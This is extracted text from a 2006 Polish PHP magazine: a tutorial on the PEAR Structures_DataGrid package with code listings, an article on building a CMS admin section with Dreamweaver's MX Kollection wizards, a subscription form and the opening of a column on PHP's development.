Structures_DataGrid

– PEAR-owy pakiet Structu-

res_DataGrid

2. http://datagrid.webitecture.org

– informacje o DataGrid

Co powinieneś wiedzieć...Powinieneś znać podstawy PHP i ob-

sługi kanałów RSS. Przydatna będzie

również wiedza o grafi cznych interfej-

sach użytkownika (GUI) i występują-

cym w nich elemencie datagrid.

Co obiecujemy...Dowiesz się jak przy pomocy PEAR::

Structures_DataGrid tworzyć efektowne

prezentacje danych tabelarycznych po-

chodzących z różnych źródeł.

Stopień trudności: ���

Page 73: PHPSolutions_2_2006_PL

DataGrid

www.phpsolmag.org 73

PEAR

PHP Solutions Nr 2/2006

będziemy używać sterowników i dostęp-

nych w pakiecie Structures_DataGrid

możliwości formatowania oraz roz-

szerzania funkcjonalności tej biblio-

teki.

Instalacja rozszerzenia Structures_DataGridStructures_DataGrid posiada kilka pakie-

tów zależnych, których instalacja nie jest

obowiązkowa. Dla naszego artykułu zain-

stalujemy Structures_DataGrid, wpisując

polecenie:

pear install --alldeps §

structures_datagrid-beta.

Rysunek 1. DataGrid w działaniu

– pierwszy przykład

Listing 1. Wyświetlanie datagridu zawierającego nazwiska i adresy e-mail pobrane

z tablicy

require_once('Structures/DataGrid.php');

$data = array(

array('First Name' => 'Aaron','Last Name' => 'Wormus','Email' => '[email protected]'),

array('First Name' => 'Clark','Last Name' => 'Kent','Email' => '[email protected]'),

array('First Name' => 'Peter','Last Name' => 'Parker','Email' => '[email protected]'),

array('First Name' => 'Bruce','Last Name' => 'Wayne','Email' => '[email protected]')

);

$dg =& new Structures_DataGrid('2');

$dg->bind($data);

$dg->render();

echo $dg->renderer->getPaging();

Listing 2. Wczytanie danych klientów za pomocą sterownika źródła danych CSV

i wyświetlenie ich domyślnym sterownikiem prezentacji (HTML_Table)

require_once('Structures/DataGrid.php');

require_once('Structures/DataGrid/DataSource.php');

$opt=array(

'delimiter' => ',','fi elds' => array(0, 1, 2),

'labels' => array("First Name","Last Name","Email"),

'generate_columns' => true);

$data = Structures_DataGrid_DataSource::create('data.csv',

$opt, DATAGRID_SOURCE_CSV);

$dg =& new Structures_DataGrid();

$dg->bindDataSource($data);

$dg->render();

Listing 3. Eksport danych do pliku MS Excel

// Utworzenie obiektu Structures_Datagrid korzystającego ze sterownika XLS

$dg =& new Structures_DataGrid(null, null, DATAGRID_RENDER_XLS);

// Ustawienie nazwy pliku wyjściowego

$dg->renderer->setFilename('datagrid.xls');

// Dowiązanie danych i wygenerowanie wyników

$dg->bindDataSource($data);

$dg->render();

Fir st Nam e L ast Nam e Em ail

Aaron

Clark

Wormus

Kent

[email protected]

[email protected]

1 2 »

Kod! Pokaż kod!Przyjrzyjmy się działaniu klasy Structures

_DataGrid w praktyce. Na Listingu 1

przedstawiamy przykład, w którym ko-

rzystamy ze źródła danych Array oraz

domyślnego sterownika prezentacji

HTML_Table. W czeterech liniach kodu

(nie licząc wierszy do zdefi niowana da-

nych) zbudowaliśmy działający datagrid

z możliwością sortowania!

Po dołączeniu pliku kolejnej klasy

Structures_DataGrid tworzymy jej in-

stancję, którą nazwiemy $dg. Istotne

jest, aby dokonać tego przez referencję,

czyli poprzedzając słowo kluczowe new

operatorem &.

W tej samej linii przez parametr

konstruktora ustawimy liczbę wyświe-

tlanych jednocześnie na ekranie wierszy

tabeli wynikowej, co pozwoli nam zoba-

czyć działanie mechanizmu stronico-

wania.

Następnie dowiązujemy dane do

obiektu wywołując metodę bind(), po

czym wyświetlamy wynikowy datagrid za

pomocą metody render(). Ponieważ ko-

rzystamy z domyślnego sterownika pre-

zentacji HTML_Table, dostęp do kolejnych

stron uzyskujemy za pośrednictwem

metody getPaging() sterownika. Nasza

tabela jest gotowa – przedstawiamy ją

na Rysunku 1.

Korzystanieze źródeł danychW praktyce przeważnie nie będziemy

pobierali danych z tablicy, tylko ze źródła

zewnętrznego. Służą do tego sterowniki

źródeł danych dla klasy Structures_

DataGrid.

Nowe źródło tworzymy za pomocą

metody create() klasy Structures_

DataGrid_DataSource. Przyjmuje ona trzy

argumenty: lokalizację danych, tablicę

parametrów danego sterownika oraz sta-

łą określającą typ sterownika.

Na Listingu 2 przedstawiamy przy-

kład wykorzystania sterownika CSV do

wczytania danych z listy klientów, którą

eksportujemy z książki adresowej. Pa-

rametrami tego sterownika są kolejno:

znak rozdzielający pola, numery wy-

świetlanych pól, etykiety tych pól oraz

znacznik określający to, czy chcemy by

kolumny były generowane automatycznie

z nagłówkami. Ręcznym generowaniem

kolumn zajmiemy się nieco później, więc

na razie ustawimy ostatni parametr jako

true.

Pozostaje już tylko dowiązać dane

do obiektu datagridu wywołując metodę

bindDataSource(), a następnie wyświe-

tlić wynik. To koniec tego etapu.

Page 74: PHPSolutions_2_2006_PL

DataGrid

www.phpsolmag.org74

PEAR

PHP Solutions Nr 2/2006

Listing 4. Modyfi kacja ustawień prezentacji danych dla sterownika HTML_Table

...

$dg =& new Structures_DataGrid(2, null, DATAGRID_RENDER_TABLE);

$dg->renderer->setTableHeaderAttributes(array('bgcolor' => '#3399FF'));

$dg->renderer->setTableOddRowAttributes(array('bgcolor' => '#CCCCCC'));

$dg->renderer->setTableEvenRowAttributes(array('bgcolor' => '#EEEEEE'));

// Zdefi niowanie atrybutów tabeli

$dg->renderer->setTableAttribute('width', '100%');

$dg->renderer->setTableAttribute('cellspacing', '1');

// Ustawienie ikon sortowania

$dg->renderer->sortIconASC = '&uarr;';

$dg->renderer->sortIconDESC = '&darr;';

$dg->bind($data);

...

Listing 5. Rozszerzanie klasy Structures_DataGrid

require('Structures/DataGrid.php');

class myDataGrid extends Structures_DataGrid {

function myDataGrid($limit = null, $page = 0){

parent::Structures_DataGrid($limit, $page);

$this->renderer->setTableAttribute('width', '100%');

// ... Tu reszta kodu formatującego ...

$this->renderer->sortIconDESC = '&darr;'; } }

$dg =& myDataGrid();

...

Listing 6. Ręczne dodawanie kolumn tabeli i wczytywanie danych ze źródła RSS

require_once('Structures/DataGrid/DataSource.php');

// Określenie kolumn pobieranych ze źródła RSS

$options = array('fi elds' => array('title', 'link'));

$rss = "http://rss.slashdot.org/Slashdot/slashdot";

$ds = Structures_DataGrid_DataSource::create($rss, $options, DATAGRID_SOURCE_RSS);

// Utworzenie instancji rozszerzonej klasy DataGrid

$dg =& new myDataGrid;

// Utworzenie trzech kolumn

$titleCol = new Structures_DataGrid_Column('Title', 'title');

$funcCol = new Structures_DataGrid_Column('Function', null);

// Dodanie metod formatujących

$titleCol->Setformatter('printLink()');

$funcCol->Setformatter('sendLink()');

// Dodanie kolumn

$dg->addColumn($titleCol);

$dg->addColumn($funcCol);

// Dowiązanie danych do datagridu i wygenerowanie wyniku

$dg->bindDataSource($ds);

$dg->render();

Listing 7. Metody tworzące odsyłacze do wydrukowania strony WWW

i przesłania adresu

function printLink($params){$data = $params['record'];

return "<a href='{$data[link]}'>$data[title]</a>"; }

function sendLink($params){$data = $params['record']; $link = urlencode($data["link"]);

return "<a href='send2friend.php?url=$link'>Wyślij adres znajomemu</a>"; }

Generujemy arkusz Excela przy użyciu sterownika prezentacjiMamy już obiekt datagridu pobierający

dane z pliku CSV i wyświetlający je

w postaci tabeli HTML. Skorzystajmy

teraz z innych możliwości oferowanych

przez sterowniki prezentacji i wyekspor-

tujmy dane do dokumentu MS Excel.

W tym celu w kodzie z Listingu 2 wpro-

wadzimy modyfi kacje pokazane na Li-

stingu 3. Zmianie ulega jedynie fragment

związany z obsługą obiektu $dg.

Tak oto mamy działający konwerter

plików CSV na XLS. Sterownik XLS nie

wykorzystuje wprawdzie pełni możliwo-

ści klasy Spreadsheet_Excel_Writer,

ale tyle na początek nam wystarczy.

Wprowadzenie innych sterowników

wymaga jedynie zmiany wartości stałej

przekazywanej konstruktorowi obiektu

Structures_DataGrid. Na Rysunku 2

pokazujemy utworzony w ten sposób

arkusz Excela.

Upiększanie wynikówWiemy już, jak utworzyć i skonfi gurować

obiekt Structures_DataGrid. Pozostaje

upiększenie prezentacji wyników. Ste-

rowniki prezentacji udostępniają opcje

formatowania. Użyjemy domyślnego

sterownika HTML_Table i skorzystamy

z kilku opcji formatowania. Spójrzmy

na Listing 4: podczas tworzenia obiektu

Structures_DataGrid przekazywane są

inne argumenty. Drugi argument wskazu-

je stronę, która ma być pokazana, a trze-

ci sterownik prezentacji używany do wy-

świetlenia datagridu. Jawne ustawianie

sterownika DATAGRID_RENDER_TABLE nie

jest konieczne, gdyż jest domyślnie włą-

czony, zdefi niujemy go więc wyłącznie

dla zwiększenia czytelności kodu.

Po utworzeniu obiektu datagridu

i przypisania go do zmiennej $dg, mo-

żemy się nieco pobawić prezentacją.

Jak pokazuje przykładowy kod, atrybuty

prezentacji można ustawiać na pozio-

mie tabeli, nagłówków kolumn, a nawet

wierszy parzystych i nieparzystych. Ste-

rownik HTML_Table jest jednym z bogat-

szych w opcje formatowania, więc nasz

przykład ilustruje tylko niewielki podzbiór

jego możliwości.

Na koniec dodamy jeszcze ikony

strzałek do sortowania w porządku

rosnącym i malejącym, wyświetlane

w nagłówku kolumny, wg której sortuje-

my. W tym przykładzie skorzystamy z en-

Page 75: PHPSolutions_2_2006_PL

DataGrid

www.phpsolmag.org 75

PEAR

PHP Solutions Nr 2/2006

Tabela 1. Sterowniki źródeł danych i prezentacji

Sterowniki źródeł danych Sterowniki prezentacji

ArrayPodstawowy sterownik, importujący dane

z tablicy.Console Wyświetla datagrid jako tabelę czytelną przy pracy w konsoli.

CSVPrzetwarza dane rozdzielane przecinkami

pobrane z plików CSV.CSV Przetwarza dane do formatu tekstowego CSV.

Data-

Object

Pobiera dane z bazy za pomocą interfejsu

obiektowego PEAR:: DB_DataObject.HTML_Table

Sterownik domyślny, wyświetlający dane w postaci stronicowa-

nej tabeli HTML z możliwością konfi guracji i sortowania.

DB Pobiera dane za pomocą PEAR::DB. Smarty Generuje dane prezentacji za pomocą szablonów Smarty.

RSS Pobiera i przetwarza dane ze źródła RSS. XLSGeneruje pliki MS Excel za pomocą

PEAR:: Spreadsheet_Excel_Writer

XML Przetwarza plik XML. XML Zapisuje dane do pliku XML.

XUL

Przetwarza datagrid na tabelę opisaną w języku XUL, używa-

nym przez przeglądarki Mozilla, Firefox i inne oparte na silniku

Gecko.

tytek (ang. entities) HTML oznaczających

strzałki skierowane do góry i w dół, ale

możemy użyć dowolnego kodu HTML,

również znacznika <img> służącego do

wstawiania obrazów.

Rozszerzenie klasy Structures_DataGridKod ustawiający każdy atrybut tabeli

z osobna jest dość długi, więc powta-

rzanie go przy każdym użyciu datagridu

nie byłoby specjalnie wygodne. Nie-

dogodność tę rozwiążemy defi niując

własną klasę rozszerzającą Structures_

DataGrid, dzięki czemu pożądane

wartości atrybutów będą automatycznie

ustawiane przy każdym utworzeniu

jej obiektu. Kod nowej klasy, którą na-

zwiemy myDataGrid, przedstawiamy na

Listingu 5.

Odtąd możemy tworzyć obiekty typu

myDataGrid, zawierające określone w de-

fi nicji klasy atrybuty prezentacji i stanowią-

ce punkt wyjścia dla wszystkich datagridów

stosowanych w danej aplikacji.

Dodawanie kolumnKolumny datagridu są w rzeczywistości

instancjami klasy Structures_DataGrid_

Column. Jak dotąd, nie musieliśmy bez-

pośrednio korzystać z tej klasy, gdyż

klasa Structures_DataGrid wykonywała

to automatycznie, oszczędzając nam

tym samym sporo pracy. Niekiedy jest

jednak konieczne ręczne dodanie nowej

kolumny.

Wykorzystamy sterownik źródła danych

RSS, aby pobrać dane z zewnętrznego pli-

ku RSS, a następnie wyświetlimy te dane

wraz z kilkoma dodatkowymi kolumnami.

Listing 6 ilustruje proces tworzenia źródła

danych RSS, przy czym wyświetlane będą

jedynie pola tytułu i odsyłacza.

Najciekawszą częścią jest dodawanie

kolumn poprzez tworzenie instancji klasy

Structures_DataGrid_Column. Argumenty

przekazywane konstruktorowi tej klasy to

tytuł kolumny oraz nazwa pola, z którym

kolumna ma być skojarzona. Konstruktor

może też przyjmować inne argumenty,

określające między innymi ustawienia

formatowania, atrybuty tabeli, wartości

wstawiane automatycznie, opcje sorto-

wania, itd.

Zdefi niujmy specjalne formatowanie

dla obu kolumn. Posłuży nam do tego

metoda Setformatter(). Za jej pomocą

wskażemy metody, które posłużą do sfor-

matowania tych kolumn (Listing 7). Zmien-

na $params odpowiada tablicy zawierającej

dane z bieżącego rekordu zbioru danych,

zapisywane w zmiennej $data, po czym

są zwracane w formacie stosowanym

w kolumnie naszego datagridu. W tym

przykładzie mamy tylko dwie kolumny:

pierwsza zawiera odsyłacz do artykułu,

a druga link pozwalający przesłać jego

adres znajomemu. Ten drugi uzyskamy

poprzez odpowiednie sformatowanie ad-

resu artykułu i połączenie go ze skryptem,

który umożliwia wysłanie linku.

PodsumowanieWdrożenie klasy Structures_DataGrid

w wielu przypadkach całkowicie zmienia

sposób tworzenia aplikacji w PHP. Uwal-

niając programistę od powtarzalnych

i pracochłonych zajęć obejmujących

pobieranie, przetwarzanie i prezentację

danych tabelarycznych, pozwala mu się

skupić na innych aspektach programo-

wania, takich jak logika biznesowa. W tym

artykule przedstawiliśmy podstawowe

możliwości rozszerzenia Structures_

DataGrid, dając Ci solidną podstawę do

dalszej pracy z tym narzędziem. Pokaza-

ne przez nas przykłady stanowią świetny

punkt wyjścia do dalszego, samodzielne-

go poznawania potężnych i fascynujących

możliwości Structures_DataGrid. �

Aaron Wormus programuje w PHP od

1999 r. Zajmował się tworzeniem rozwią-

zań intranetowych w Perlu i technologiach

pokrewnych. Aaron koncentruje się na

dostarczaniu przedsiębiorstwom wysokiej

jakości rozwiązań intranetowych i wyko-

rzystuje potęgę PHP w pracy konsultanta.

Kontakt z autorem: [email protected].

O autorze

Rysunek 2. Arkusz Excela utworzony na podstawie wyeksportowanych danych

tabelarycznych

Page 76: PHPSolutions_2_2006_PL

76

Programowanie typowych dla systemu zarządzania treścią (Content Manage-ment System – CMS) list i formularzy

zwykle zabiera mnóstwo czasu. W niniejszym artykule wypróbujemy kilka narzędzi RAD podczas szybkiej budowy dynamicznej listy i formularza do zarządzania artykułami na zapleczu systemu CMS.

SZYBKI STARTSystem CMS jest całkowicie dynamiczny. Aby szybko stworzyć stronę i rozpocząć tworzenie sekcji administracyjnej, wykonaj następujące kroki:

� Zainstaluj próbne wersje programów Dreamweaver oraz MX Kolleection, w tej właśnie kolejności. – oba pakiety znajdują się na naszym CD. MX Kollection to rozsze-rzenie do narzędzia Dreamweaver, więc instalacja będzie przeprowadzona auto-matycznie przez Macromedia Extension Manager.

� Uruchom skrypt cms.sql dostarczony razem z przykładowymi plikami, aby utwo-rzyć strukturę bazy danych podobną do tej z Rysunku 1 i zapełnić ją przykładowymi danymi.

� Zdefi niuj w programie Dreamweaver stronę (menu Site), która używa testowego ser-wera PHP_MySQL.

� Skopiuj przykładowe pliki do katalogu głównego strony.

� Podłącz swój system CMS do bazy danych, którą właśnie stworzyliśmy poprzez edy-cję istniejącego połączenia z bazą danych w zakładce Databases panelu Application aplikacji Dreamweaver. Upewnij się, że nazwa użytkownika i hasło do serwera MySQL są podane poprawnie i połącz się z bazą.

Aby sprawdzić poprawne działanie całości, otwórz w przeglądarce stronę index.php – po-winna przedstawiać domyślną stronę domową twojego CMS.

TWORZENIE LISTY ARTYKUŁÓWUtworzymy dynamiczną listę, która umożliwi użytkownikom wyświetlanie wszystkich artykułów w systemie CMS, ich autorów, daty publikacji i odpowiednie kategorie treści. Użytkownicy będą mogli także sortować listę w porządku rosnącym lub malejącym według dowolnych pól, a także fi ltrować ją, by wyświe-tlać wyłącznie artykuły spełniające określone kryteria – patrz Rysunek 2.

Jeśli ktoś uważa że taki system trudno zbudować , kreatory MX Kollection z pewnością zmienią jego zdanie. MX Kollection to pakiet rozszerzeń do programu Dreamweaver, które pomagają tworzyć zarówno kod serwerowy,

Tworzenie sekcji administracyjnej systemu zarządzania treściąMariusz Zaharia

Rysunek 1. Struktura bazy danych CMS Rysunek 2. Lista dynamiczna z fi ltrami i sortowaniem

Czego potrzebujesz

� Serwer WWW z obsługą PHP� Serwer bazy danych MySQL� Macromedia Dreamweaver 8 (wersja

próbna na CD)� Rozszerzenie MX Kollection do programu

Dreamweaver (wersja próbna na CD)� Znajomość oprogramowania Dreamweaver

RozszerzeniaDreamweavera – co to jest?Rozszerzenia przypominają wtyczki lub dodatki, ponieważ rozszerzają standardowe funkcje pro-gramu Dreamweaver. Mogą być różne – od krót-kich kawałków kodu po złożone aplikacje – i mają różne cele. Ograniczają konieczność ręcznego kodowania, automatyzują często powtarzane zadania, naprawiają określone błędy, zwiększa-ją produktywność lub tworzą określone obiekty. Więcej rozszerzeń można znaleźć na stronie Macromedia Exchange (www.macromedia.com/exchange).

jak i HTML, a także style CSS – wszystko to za pomocą szybkich, łatwych w użytkowaniu grafi cznych interfejsów. Po instalacji kreatory i reguły dla serwerów MX Kollection dostępne są w dwóch lokacjach:

� W zakładce MX Kollection na belce Insert.� W menu MX Kollection w zakładce Server

Behaviors panelu Application.

Page 77: PHPSolutions_2_2006_PL

77

Stwórzmy listę artykułów:

� Otwórz plik admin\view.php w programie Dreamweaver i uruchom kreator Create NeXTensio List Wizard z belki Insert.

� W pierwszym kroku powiemy kreatorowi, aby wyświetlał informacje z Table, wybie-rając utworzoną przez nas bazę, tabelę ar-ticle_art oraz klucz główny id_art. Ponieważ lista, którą tworzymy zawiera także prowa-dzące do formularza przyciski tworzenia, edycji i usuwania artykułów, powinniśmy określić stronę zawierającą formularz – edit.php. Trzeba wreszcie wskazać kre-atorowi, aby wyświetlał 10 artykułów na stronie; do wyświetlenia reszty artykułów będzie służyć dodana belka nawigacji. Te-raz możemy przejść do następnego kroku, klikając przycisk Next.

� Skonfi gurujemy każde z pól listy w siatce w następujący sposób:

�� Dla pola idtop_art wprowadź Header“Temat” i pobierz jego wartość z tabeli topic_top. Aby wyświetlać poprawne tematy, zamiat klucza obcego ustaw kolumnę Label na name_top, zaś ko-lumnę Value na id_top.

�� Dla pola idusr_art ustaw Header na “Autor” i pobierz jego wartości z tabeli user_usr. Będziemy wyświetlać imiona autorów z kolumny name_usr, a odpo-wiednie wartości pobierzemy z kolum-ny id_usr.

�� Pozostaw pola title_art i content_artz wartościami domyślnymi. Zmień Header kolumny date_created_art na “Opublikowane”, a następnie przejdź do następnego kroku.

� W tym kroku zdefi niujemy fi ltry listy. Zmień kolumnę idtop_art tak, aby była wyświetla-na jako menu – dzięki temu użytkownicy będą mogli z łatwością wybrać i wyświetlić wszystkie artykuły z danej kategorii. Zrób to samo z kolumną autorów, a resztę fi l-trów pozostaw jako pola tekstowe. Przejdź do następnego kroku.

� Teraz określimy układ listy. Artykuły po-winny być ułożone według tytułu (title_art) w porządku wstępującym. Można liście przypisać arkusz CSS oraz zduplikować przyciski i belkę nawigacyjną – przydaje się to szczególnie, gdy lista jest długa i nie

chcemy, aby użytkownicy musieli przewi-jać ekranu tam i z powrotem za każdym razem. Włącz efekt mouse-over effect dla każdego wiersza, wyświetl wszystkie linki jako przyciski i ponumeruj wiersze. Upewnij się, że wszystkie opcje układu grafi cznego są ustawione na Yes, a następ-nie kliknij Finish.

Kreator sam utworzy wszystkie ustawienia serwera, niezbędny kod HTML, JavaScript oraz style CSS. Jeżeli przełączymy się do widoku kodu, zauważymy, że jest on zorientowany obiektowo i ma klasy wywoływane z folderu includes w miarę potrzeb (należy pamiętać o skopiowaniu tego folderu na serwer testowy przed obejrzenie strony w przeglądarce). Klik-nięcie w dowolny przycisk przeniesie nas do pustej strony edit.php – tutaj właśnie stworzy-my uniwersalny formularz, a raczej pojedynczy formularz przechowujący wszystkie transak-cje: wprowadzanie, aktualizacje i usuwanie.

TWORZENIE FORMULARZA ARTYKUŁU

� Otwórz stronę admin\edit.php w progra-mie Dreamweaver uruchom kreator Create NeXTensio Form Wizard z belki Insert(zakładka MX Kollection). Kreator pomoże automatycznie wygenerować formularz HTML, podłączyć go do transakcji bazy danych (wprowadzanie, aktualizacje i usu-wanie – insert, update, delete), ustawić wartości domyślne pól i zdefi niować reguły walidacji.

� W pierwszym kroku ustawiamy połączenie z bazą danych, wybieramy tabelę artic-le_art oraz klucz główny id_art. Przejdźmy do następnego kroku.

� Następnie skonfi gurujemy wszystkie pola formularza z siatki w następujący sposób:

�� Dla pola idtop_art ustaw Etykietę na „Temat” i wyświetl go jako menu. Po kliknięciu przycisku Menu Propertiesmożna zauważyć, że wartości menu są już poprawnie skonfi gurowane i będą pobierane z rekordów. Dzięki trwałości interfejsu użytkownika nie ma potrzeby defi niowania nowych re-kordów albo zmieniania czegokolwiek: kreator przywołuje ustawienia pola idtop_art tak, że jest ono wyświetlane jako menu fi ltra listy. Zostanie ono

Rysunek 3. Konfi guracja kolumn listy Rysunek 4. Kreator generuje zachowania serwera

Trwałośćinterfejsu użytkownikaJest to funkcja umożliwiająca zapamiętywanie przez interfejsy wcześniejszych konfi guracji remember, co oszczędza wiele czasu.

Trwałość można włączać i wyłączać z panelu InterAKT (belka Insert > zakładka MX Kollection).

InterAKT Dynamic DataJest to grafi czne narzędzie do wybierania dynamicznych źródeł danych (pól rekordów, pól formularza, zmiennych sesji itp.). Jeżeli dynamiczne źródło jest wybrane w ten sposób, wygenerowany kod zawiera specjalny znacznik (na przykład {SESSION.kt_login_id}). Pakiet MX Kollection jest zgodny z kilkoma typami serwerów – nie tylko PHP_MySQL – dzięki czemu znacznik ten będzie znaczyć to samo w przy-padku ColdFusion i ASP_VBScript, a w dodatku jest łatwiejszy do zapamiętana.

Oferta specjalnaNowe sposoby wykorzystania MX Kollection do zadań RAD można znaleźć na stronie: http://www.interaktonline.com/cms. Jeżeli podoba Ci siępakiet MX Kollection i chcesz go mieć, oferujemy zniżkę w wysokości 100 USD. Wystarczy odwiedzić następujący adres: http://www.interaktonline.com/cmsbuy.

Page 78: PHPSolutions_2_2006_PL

78

wygenerowane, tym razem z takimi samymi wartościami.

�� Ustaw Label pola idusr_art na “Autor” wyświetl je jako tekst i wprowadź je w postaci numerycznej. Kiedy do systemu CMS dodawany jest nowy artykuł, jego autor jest akualnie zalo-gowanym użytkownikiem, więc do-myślną wartością kolumny idusr_artpowinien być ID użytkownika aktu-alnej sesji. Aby ustawić tę wartość, kliknij niebieską ikonę błyskawicy i wybierz zmienną sesji kt_login_id, tak jak na Rysunku 4. Kliknięcie OK w oknie InterAKT Dynamic Dataspowoduje wprowadzenie w miejsce domyślnej wartości następującego kodu: {SESSION.kt_login_id}.

�� Ustaw pole content_art, aby było wyświetlane jako tekst i zapewniło miejsce na treść artykułu.

�� Ustaw wartość domyślną pola date_cre-ated_art na {NOW_DT}. Jest to specjalny kod znaczników InterAKT który zostanie

zastąpiony aktualną datą i czasem (tak jak w przypadku funkcji now() w PHP). Przejdźmy do następnego kroku.

�� Walidacja jest istotnym krokiem w pro-cesie tworzenia bezpiecznej aplikacji i przy zapewnianiu integralności da-nych. Dobrze jest sprawdzić, czy war-tości pól idtop_art i idusr_art to liczby całkowite dodatnie. Powinniśmy także wywoływać pole title_art, aby wszyst-kie artykuły miały tytuł. Wreszcie należy dokonać walidacji pola date_cre-ated_art względem formatu Datetime.

�� W ostatnim kroku kreatora ustawiamy wszystkie opcje układu na Yes i klika-my Finish, aby zakończyć kreator. Na-leży pamiętać o usunięciu wiersza wy-świetlającego ID autora w formularzu: nie ma potrzeby, by go pokazywać, a jego wartość zostanie poprawnie ustawiona dzięki odpowiedniej trans-akcji. Warto zwrócić uwagę, że kreator wygenerwał wszystkie trzy transakcje (patrz Rysunek 4).

Zapiszmy strony, umieśćmy wszystkie pliki na serwerze testowym, sprawdźmy działanie listy oraz formularza. Można wprowadzać, edytować i usuwać wiele artykułów naraz, wybierając je z listy i klikając odpowiednie przyciski (patrz Rysunek 6). Reguły walida-cji zadziałają w przypadku każdego artykułu z osobna.

INNE FUNKCJE CMSZobaczyliśmy, jak łatwo i szybko buduje się dynamiczne listy i formularze do zarządza-nia artykułami w systemie CMS. Dzięki MX Kollection nie trzeba już ograniczać się wy-łącznie do list i formularzy. Oto kilka innych rzeczy, które można wypróbować samemu przy użyciu MX Kollection i programu Dream-weaver:

� Umożliwienie rejestracji nowych użytkow-ników CMS i aktywowanie ich przez e-mail dzięki kreatorowi User Registration Wizard(login został już przygotowany w pliku admin\index.php).

� Automatyczne wysyłanie do administrato-ra e-maila z potwierdzeniem dodania nowe-go artykułu do CMS za pomocą zachowania serwera Send E-mail.

� Użycie Server-Side Includes (SSI) do tworzenia menu sekcji administracyjnej i umieszczenia go na wszystkich stronach sekcji.

� Wgranie i powiązanie obrazka z każdym artykułem za pomocą zachowania serwera Upload and Resize Image.

� Tworzenie zestawów rekordów wykorzy-stujących złożone zapytania SQL za pomo-cą grafi cznego interfejsu, przy wykorzy-staniu schematów baz danych podobnych do Rysunku 1. �

Marius Zaharia pracuje jako Documentation Manager w fi rmie InterAKT Online, która tworzy rozszerzenia do budowy dynamicznych stron WWW w programie Macromedia Dreamweaver.Poza pisaniem artykułów i tutoriali dla develope-rów, bawi się nauką nowych rzeczy i odkrywaniem nowych technologii. Do jego zainteresowań należą programowanie aplikacji internetowych, politykai awangardowa muzyka elektroniczna.Kontakt z autorem: [email protected]

O autorze

Rysunek 6. Jednoczesna edycja wielu artykułów

Rysunek 5. Użycie InterAKT Dynamic Data do wartości domyślnych

Page 79: PHPSolutions_2_2006_PL

Prosimy wypełnić czytelnie i przesłać faksem na numer: (22) 887 10 11 lub listownie na adres: Software-Wydawnictwo Sp. z o.o.,

Piaskowa 3, 01-067 Warszawa, e-mail: [email protected]. Przyjmujemy też zamówienia telefoniczne: (22) 887 14 44

Imię i nazwisko............................................................................................ ID kontrahenta..........................................................................................

Nazwa fi rmy................................................................................................. Numer NIP fi rmy.......................................................................................

Dokładny adres....................................................................................................................................................................................................................

Telefon (wraz z numerem kierunkowym)................................................... Faks (wraz z numerem kierunkowym) ....................................................

E-mail (niezbędny do wysłania faktury)............................................................................................................................................................................

zamówienie prenumeraty

1 Cena prenumeraty rocznej dla osób prywatnych

2 Cena prenumeraty rocznej dla osób prenumerujących już Software Developer’s Journal lub Linux+

3 Cena prenumertaty dwuletniej Aurox Linux

Jeżeli chcesz zapłacić kartą kredytową, wejdź na

stronę naszego sklepu internetowego:

www.shop.software.com.pl

automatyczne przedłużenie prenumeraty

Suma

Tytuł Ilość

numerów

Ilość

zamawianych

prenumerat

Od numeru

pisma lub

miesiąca

Opłata

w zł

z VAT

Software Developer’s Journal (1 płyta CD)

– dawniej Software 2.0

Miesięcznik profesjonalnych programistów12 250/1801

SDJ Extra (od 1 do 4 płyt CD lub DVD)

– dawniej Software 2.0 Extra!

Numery tematyczne dla programistów6 150/1352

Linux+ (2 płyty CD)

Miesięcznik o systemie Linux12 250/1801

Linux+DVD (2 płyty DVD)

Miesięcznik o systemie Linux12 270/1981

Linux+Extra! (od 1 do 7 płyt CD lub DVD)

Numery specjalne z najpopularniejszymi dystrybucjami Linuksa8 232/1982

PHP Solutions (1 płyta CD)

Dwumiesięcznik o zastosowaniach języka PHP6 135

Hakin9, jak się obronić (1 płyta CD)

Dwumiesięcznik o bezpieczeństwie i hakingu6 135

.psd (1 płyta CD + fi lm instruktażowy)

Dwumiesięcznik użytkowników programu Adobe Photoshop6 140

Aurox Linux (4 płyty CD + 1 płyta DVD)

Magazyn z najpopularniejszym polskim Linuksem4 1193

Page 80: PHPSolutions_2_2006_PL

Felieton

www.phpsolmag.org80 PHP Solutions Nr 2/2006

W 1995 roku Rasmus Lerdorf,

bezrobotny informatyk szuka-

jący zatrudnienia, z zapałem

chwycił się zadania stworzenia prostego

i szybkiego języka na potrzeby swojej

strony WWW, m.in. prezentacji umiesz-

czonego na niej CV oraz śledzenia

odwiedzin. Tak narodziła się pierwotna

wersja PHP, zwana Personal Home Page

Tools. Po 10 latach istnienia, PHP święci

tryumfy popularności: napisano w nim po-

nad 40% wszystkich aplikacji webowych,

jest używany na ok. 22 milionach domen

internetowych, stanowiących więcej niż

25% wszystkich stron WWW. PHP ma

też jedną z najprężniejszych społeczności

opensourcowych na świecie.

Założenia PHP są niezmienne: jego

największą zaletą jest i ma być prostota.

Dodatkowo, w wersji 5, jak i zapowia-

danym wydaniu szóstym PHP staje się

językiem zorientowanym na potrzeby pro-

fesjonalistów i biznesu: zaczynamy mówić

o platformie programistycznej. Obecny

rozwój PHP opiera się na aktywnym słu-

chaniu i rozumieniu ogółu użytkowników,

do grona których zalicza się coraz więcej

doświadczonych deweloperów i architek-

tów, tworzących na potrzeby przedsię-

biorstw.

Nie wszystko jednak wygląda tak

różowo. Choć zarówno programowanie

obiektowe, jak i obsługa wyjątków oferuje

ogromne możliwości, potrzebne są pewne

rygory tworzenia i organizacji kodu, czego

nie ułatwia skrajna elastyczność PHP.

W przeciwieństwie do J2EE czyh .NET,

w PHP nie ma standardów, których trze-

ba się trzymać. Dostępne w tym języku

Firma Zend planuje udostępnienie open-

sourcowego frameworka wzorcowego dla

PHP w roku 2006.

Weźmy też pod uwagę, iż PHP

rozwijało się w oderwaniu od potrzeb

i realiów przedsiębiorstw. I nic dziwnego:

jest dziełem pokaźnego grona grona de-

weloperów-pasjonatów, którzy za darmo

poświęcają mu swój czas. Pamiętajmy,

że motywacja pracy wpływa na jej jakość:

PHP ma tu duży atut. Wadą takiego po-

dejścia jest natomiast słabe przystoso-

wanie do potrzeb fi rm. Twórcy PHP wzięli

sobie to do serca i począwszy od wersji

PHP4 starają się coraz lepiej zaspokoić

wymagania biznesu. Dowodem są roz-

wiązania klasy Enterprise dla PHP4, takie

jak CMS eZ publish. Ich liczba znacznie

wzrosła wraz z nadejściem PHP5. Jakie

więc będzie PHP6? Czas pokaże: jeśli

zapowiedzi zostaną zrealizowane, to

będziemy mogli mówić o jednej z naj-

trwalszych i najłatwiejszych do wdrożenia

platform programistycznych. Czekamy

